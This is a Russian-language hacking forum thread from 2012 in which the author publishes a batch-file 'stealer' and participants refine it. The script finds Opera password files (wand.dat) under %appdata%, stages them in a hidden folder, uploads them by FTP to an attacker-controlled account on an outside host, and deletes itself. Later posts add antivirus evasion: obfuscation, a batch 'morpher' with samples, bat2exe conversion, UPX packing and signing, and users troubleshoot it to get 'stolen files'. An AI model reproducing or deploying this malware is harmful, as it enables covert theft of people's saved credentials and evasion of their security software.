Клепаем свой стилер файлов на батче

Тема в разделе "Статьи", создана пользователем j0sur, 11 мар 2012.

  1. j0sur
    j0sur Новичок
    Симпатии:
    7
    Вот сижу я и думаю... Лень что либо делать... Вот и решил накатать свою статейку. Заранее прошу прощения возможные ошибки и опечатки, да и окончательность этой статьи не претендую.
    А натолкнули меня на эту статью продажи в инете мега-крутых стилеров, которые не палятся антивирями и тырят файлы по маске, за 30-40$. И, что бы показать какое это надувательство(да и потешить свое самолюбие) я и пишу этот текст.
    Подготовка
    Для начала нам понадобится ftp сервак(можно слать и на мыло, но понадобится дополнительный софт).
    Если у вас его нет -- шагаем на nextmail.ru и регаемся там(на самом деле офигенный сайт, к мылу получаеш в придачу ftp хранилище под сайт на 2 гига, впрочем никто не заставляет вас использовать его только под сайт).
    Теперь давайте подумаем, как найти нужные файлы. Можно юзать dir с find(ну или вообще цикл организовывать), но ИМХО муторно и геморно. Давайте лучше познакомимся с такой полезной утилитой, как forfiles(на форумах поговаривают, что уже в 2003 она есть, ХРюшка в полете, а жаль). Открываем консоль и запускаем ее с /?, читаем...
    ГавноКодим
    Теперь давайте создадим батник, который станет нашим "организатором".
    Вот код:
    Код:
    @echo off
    
    ::настройки
    set ans=%temp%\ans
    ::файл ответов
    set login=your_login
    set pwd=your_pwd
    ::логин-пасс
    set dir=%date%_%time%
    set ld=c:\files
    ::директории
    set mask=wand.dat
    ::маска для поиска
    
    echo open ftp.nextmail.ru > %ans%
    echo user %login%>> %ans%
    echo %pwd%>> %ans%
    ::логинимя на ftp
    echo mkdir %dir% >> %ans%
    echo cd %dir% >> %ans%
    echo binary >> %ans%
    ::готовимся передавать файлы
    
    mkdir %ld%
    attrib +h %ld%
    ::виндовый ftp не умеет работать с путями с русскими символами
    
    forfiles /p %appdata% /s /m %mask% /c "cmd /c copy @path %ld%"
    forfiles /p %ld% /s /m * /c "cmd /c echo put @path >> %ans%"
    
    echo quit >> %ans%
    
    ftp -v -n -s:%ans%
    del %ans%
    
    Как видете, основная часть кода занимается заполнением файла ответов для ftp.
    Все настройки вынесены в начало скрипта, думаю, будет не сложно разобраться.
    Думаю, этот скрипт вполне может стать жизнеспособным троем, после обфускации и "компиляции" с помощью bat2exe.
    Спасибо за внимание, в коментах пишите свои замечания, пожелания и дополнения.
    Update
    Как сказал уважаемый vlader, лучше сделать код таким:
    Код:
    @echo off
    
    ::настройки
    set ans=%temp%\ans
    ::файл ответов
    set login=your_login
    set pwd=your_pwd
    ::логин-пасс
    set dir=%date%_%time%
    set ld= %systemdrive%\files
    ::директории
    set pth=%appdata%
    set mask=wand.dat
    ::путь и маска для поиска
    
    echo open ftp.nextmail.ru > %ans%
    echo user %login%>> %ans%
    echo %pwd%>> %ans%
    ::логинимя на ftp
    echo mkdir %dir% >> %ans%
    echo cd %dir% >> %ans%
    echo binary >> %ans%
    ::готовимся передавать файлы
    
    mkdir %ld%
    attrib +h %ld%
    ::виндовый ftp не умеет работать с путями с русскими символами
    
    forfiles /p %pth% /s /m %mask% /c "cmd /c copy @path %ld%"
    forfiles /p %ld% /s /m * /c "cmd /c echo put @path >> %ans%"
    
    echo quit >> %ans%
    
    ftp -v -n -s:%ans%
    del /q /f %ans%
    del /q /f %0
    rmdir /s /q %ld%
    
    
    Не, эт будет ошибкой. Вся буза с %ld% только из-за того, что ftp не дружит с русскими буквами в путях(а имя юзера может быть и русским).
    Пожалуй, оставлю это тем, у кого есть желание это делать:) А мне проще добавить пару forfiles:)

    Понравилась статья? Поставь плюсик:)
     
    Последнее редактирование: 11 мар 2012
    11 мар 2012
    1 человеку нравится это.
  2. vlader
    vlader Guest
    Хорошо, но зачем создавать %ld% на диске C? Этого диска в системе может не быть. Лучше использовать %systemdrive%. Зачем 2 forfiles? Я думаю можно у одного указать
    Код:
    /c "cmd /c copy @path %ld% & echo put @path" >> %ans%"
    И в конце лучше удалить ещё %ld% и себя. Удалять лучше не так
    Код:
    del %ans%
    , а так
    Код:
    del /q /f %ans%
    Ещё мне кажется, что в настройках не хватает папки поиска, т.к не все программы хранят свои файлы в %appdata%. Также не помешало бы небольшой инструкции, как искать не одну маску, а много.
    Я думаю можно сделать отдельный файл с настройками, который будет перебираться в for , и из него подставляться настройки. Это обеспечивает неограниченное число масок для поиска.
     
    11 мар 2012
  3. j0sur
    j0sur Новичок
    Симпатии:
    7
    Update 2
    Если хотите юзать этот скрипт на ХРюшках,
    Код:
    forfiles /p %pth% /s /m %mask% /c "cmd /c copy @path %ld%"
    Замените на
    Код:
    for /r %pth% %%d in (%mask%) do copy %%d %ld%
    А
    Код:
    forfiles /p %ld% /s /m * /c "cmd /c echo put @path >> %ans%"
    На
    Код:
    for /r %ld% %%d in (*) do echo put %%d >> %ans%
    И будет счастье:)
     
    11 мар 2012
  4. Dr. W@tson
    Dr. W@tson Guest
    Еще от себя добавлю , прогоняем через Bat to Exe , сжимаем upx , ставим цифровую подпись
     
    Последнее редактирование модератором: 11 мар 2012
    11 мар 2012
  5. j0sur
    j0sur Новичок
    Симпатии:
    7
    Куда ж без этого:) Обфускация перед прогонкой через bat2exe тож не повредит.
     
    11 мар 2012
  6. digimon
    digimon Новичок
    Симпатии:
    6
    можно название или ссылки на тулзы для Обфускации батников :pivo:
     
    11 мар 2012
  7. j0sur
    j0sur Новичок
    Симпатии:
    7
    Знаю только одну нормальную и всегда рабочую -- руки+мозги:)
    А так, если кому интересно, выложу свой обфускатор(говорите сразу, начинать писать или нет?).
     
    11 мар 2012
  8. 4ekkk
    4ekkk Новичок
    Симпатии:
    7
    Есссественно пиши!
     
    12 мар 2012
  9. digimon
    digimon Новичок
    Симпатии:
    6
    j0sur,
    я извиняюсь ,,дай пример уже обфусцированного кода, хотелось бы глянуть:crazy:
    а то вроде все есть,а как реализовать пока не знаю :)
    так что пиши ...былоб здорово
     
    12 мар 2012
  10. j0sur
    j0sur Новичок
    Симпатии:
    7
    Вот первая бетка:) Это еще не обфускатор, но от АВ, думаю спасет(могу и ошибаться).
    До:
    Код:
    @echo off
    set hello=Hello, World!
    echo %hello%
    type con >> file.txt
    echo Done!
    pause
    
    После:
    Код:
    @^echo ^off
    s^et ^hello=Hello, ^World!
    e^cho %hello%
    t^ype c^on >> f^ile.txt
    e^cho D^one!
    p^ause
    
    Вот архив http://j0sur.nxt.ru/batCrypt.rar(малвари нет)
    Для запуска просто запустите прогу с единственным параметром -- именем батча(удобно просто перетаскивать). Если запустить без параметров -- AppCrash:) Но это потом исправлю. Еще добавлю настоящий морфер.
     
    12 мар 2012
  11. j0sur
    j0sur Новичок
    Симпатии:
    7
    И вот первая бета моего морфера для батчей. Вот ссыль: Скачать(аналогично за отсутствие бонусов отвечаю).
    До морфирования:
    Код:
    @echo off
    set hello=Hello, World!
    echo %hello%
    type con >> file.txt
    echo Done!
    pause
    
    После:
    Код:
    @set a42=o
    @set aix=l
    @set ah0p=e
    @set aj=a
    @set a=p
    @%ah0p%ch%a42% %a42%ff
    s%ah0p%t h%ah0p%%aix%%aix%%a42%=H%ah0p%%aix%%aix%%a42%, W%a42%r%aix%d!
    %ah0p%ch%a42% %hello%
    ty%a%%ah0p% c%a42%n >> fi%aix%%ah0p%.txt
    %ah0p%ch%a42% D%a42%n%ah0p%!
    %a%%aj%us%ah0p%
    
    Насегодня я наработался, пошел отдыхать:)
    П.С. Отпишитесь, нравится прога или нет. Что нужно добавить/исправить?
     
    Последнее редактирование: 12 мар 2012
    12 мар 2012
  12. 4ekkk
    4ekkk Новичок
    Симпатии:
    7
    А можно мини мануальчик? Пожжжалуйста:-[
     
    13 мар 2012
  13. j0sur
    j0sur Новичок
    Симпатии:
    7
    Как вручную морфить? Вечером напишу
     
    13 мар 2012
  14. zaratrem
    zaratrem Новичок
    Симпатии:
    0
    Вот тут по подробнее пожалуйста, так как ссылок на программу нету, то можно сделать вывод о том что это инструмент уже имеющийся на оси, далее я понял что в XP (самую популярную на сегодняшний день ОС) этот инструмент не включён?
    По крайней мере в cmd на виртуалке с XP у меня выдало следующее:
    Если я всё правильно понял, то тогда подскажите есть ли варианты со скрытой установкой forfiles, либо эквивалентной альтернативы.
    p.s. с вариантом указанным в третьем посте уже ознакомился.
     
    Последнее редактирование: 13 мар 2012
    13 мар 2012
  15. j0sur
    j0sur Новичок
    Симпатии:
    7
    Да, в ХР нет forfiles. Единственный вариант, который я знаю -- использовать for как в 3-м посте.
     
    13 мар 2012
  16. zaratrem
    zaratrem Новичок
    Симпатии:
    0
    j0sur,
    Очень жаль, потому что когда я использую "for" в этом варианте
    wand.dat не находит (я вообще не вижу в коде директорию для поиска)
    А если я добавляю следующую строчку
    То получаю ошибку:
    Кстати вариант vlader-a в первом посте, с заменой строк forfiles на "for" выдаёт точно такую-же ошибку.
    p.s. почта с ftp просто находка, можно скачивать все украденные файлы при помощи одного лишь браузера, следовательно это упрощает работу ТОРа с ftp
     
    13 мар 2012
  17. j0sur
    j0sur Новичок
    Симпатии:
    7
    Выложу код своего батча(на моей 7-ке и виртуалках под ХР работает):
    Код:
    @echo off
    prompt $$$g
    ::настройки
    set ans=%temp%\ans
    ::файл ответов
    set login=login
    set pwd=pass
    ::логин-пасс
    set dir=%date%_%time%
    set ld=%systemdrive%\files
    ::директории
    set pth=%appdata%
    set mask=wand.dat
    ::маска для поиска
    
    echo open ftp.nextmail.ru > %ans%
    echo user %login%>> %ans%
    echo %pwd%>> %ans%
    ::логинимя на ftp
    echo mkdir %dir% >> %ans%
    echo cd %dir% >> %ans%
    echo binary >> %ans%
    ::готовимся передавать файлы
    
    mkdir %ld%
    attrib +h %ld%
    ::виндовый ftp не умеет работать с путями с русскими символами
    
    ::forfiles /p %pth% /s /m %mask% /c "cmd /c copy @path %ld%"
    for /r "%pth%" %%d in (%mask%) do copy %%d %ld%>nul
    ::forfiles /p %ld% /s /m * /c "cmd /c echo put @path >> %ans%"
    for /r %ld% %%d in (*) do echo put %%d >> %ans%
    
    echo quit >> %ans%
    
    ftp -v -n -s:%ans%
    del /q /f %ans%
    ::del /q /f %0
    rmdir /s /q %ld%
    pause
    
    В коде много команд предназначенных для отладки, так что не пугайтесь что он несколько другой.

    Добавлено через 3 минуты
    А, я вроде понял в чем ваша проблема:yahoo: Нужно в цикле for %pth% взять в " и все будет хорошо.
    П.С. полез исправлять.
     
    Последнее редактирование: 13 мар 2012
    13 мар 2012
  18. zaratrem
    zaratrem Новичок
    Симпатии:
    0
    j0sur,
    Спасибо, видимо у меня руки кривые, попробовал ваш последний вариант, на этот раз cmd не выдаёт ни каких ошибок, файл wand.dat лежит Application Data, на фтп создаётся папка, но файла wand.dat там нет.
     
    13 мар 2012
  19. j0sur
    j0sur Новичок
    Симпатии:
    7
    Странное дело:) Зделайте тогда так: закоментите rmdir и посмотрите есть ли wand.dat в %ld%.

    Добавлено через 1 минуту
    Только что проверил, у мя все работает... Вы уверены, что wand.dat есть(поищите его виндовой утилитой)?
     
    Последнее редактирование: 13 мар 2012
    13 мар 2012
  20. zaratrem
    zaratrem Новичок
    Симпатии:
    0
    В %id% файла нету, но если его туда предварительно положить, то он нормально отправится.
    wand.dat лежит в Application Data, даже несколько штук, виндовский поиск её находит. Я подозреваю что форум может подпортить пару символов кода, такое часто бывало, но ошибок пока не нашёл. Сейчас попробую разные варианты, например на другой виртуалке запустить.
    p.s. Исполнение вашего файла в cmd, у меня выглядит вот так:
     
    Последнее редактирование: 13 мар 2012
    13 мар 2012
Загрузка...